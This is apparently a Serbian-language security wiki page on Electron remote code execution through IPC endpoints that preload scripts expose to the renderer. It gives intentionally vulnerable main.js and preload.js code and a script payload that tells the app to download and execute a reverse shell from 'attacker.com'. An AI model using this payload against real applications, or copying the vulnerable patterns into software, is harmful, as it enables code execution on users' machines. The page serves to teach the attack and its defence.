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# Electron contextIsolation RCE putem IPC
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Ako preload skripta izlaže IPC krajnju tačku iz main.js datoteke, proces renderovanja će moći da joj pristupi i ako je ranjiv, RCE bi mogao biti moguć.
**Većina ovih primera je preuzeta odavde** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Pogledajte video za dodatne informacije.
## Primer 0
Primer sa [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (imate ceo primer kako je MS Teams zloupotrebljavao XSS za RCE u tim slajdovima, ovo je samo vrlo osnovni primer):
<figure><img src="../../../images/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Primer 1
Pogledajte kako `main.js` sluša na `getUpdate` i **preuzima i izvršava bilo koju URL** koja se prosledi.\
Pogledajte takođe kako `preload.js` **izlaže bilo koji IPC** događaj iz main.
```javascript
// Part of code of main.js
ipcMain.on("getUpdate", (event, url) => {
console.log("getUpdate: " + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
})
mainWindow.webContents.session.on(
"will-download",
(event, item, webContents) => {
console.log("downloads path=" + app.getPath("downloads"))
console.log("mainWindow.download_url=" + mainWindow.download_url)
url_parts = mainWindow.download_url.split("/")
filename = url_parts[url_parts.length - 1]
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
console.log("downloadPath=" + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)
item.on("updated", (event, state) => {
if (state === "interrupted") {
console.log("Download is interrupted but can be resumed")
} else if (state === "progressing") {
if (item.isPaused()) console.log("Download is paused")
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})
item.once("done", (event, state) => {
if (state === "completed") {
console.log("Download successful, running update")
fs.chmodSync(mainWindow.downloadPath, 0755)
var child = require("child_process").execFile
child(mainWindow.downloadPath, function (err, data) {
if (err) {
console.error(err)
return
}
console.log(data.toString())
})
} else console.log(`Download failed: ${state}`)
})
}
)
```
```javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}
```
Eksploatacija:
```html
<script>
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
</script>
```
## Primer 2
Ako preload skripta direktno izlaže renderer-u način da pozove `shell.openExternal`, moguće je dobiti RCE.
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url)
}
```
## Primer 3
Ako skripta za pre-load otkriva načine za potpunu komunikaciju sa glavnim procesom, XSS će moći da pošalje bilo koji događaj. Uticaj ovoga zavisi od onoga što glavni proces otkriva u smislu IPC.
```javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb)
}
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}
```
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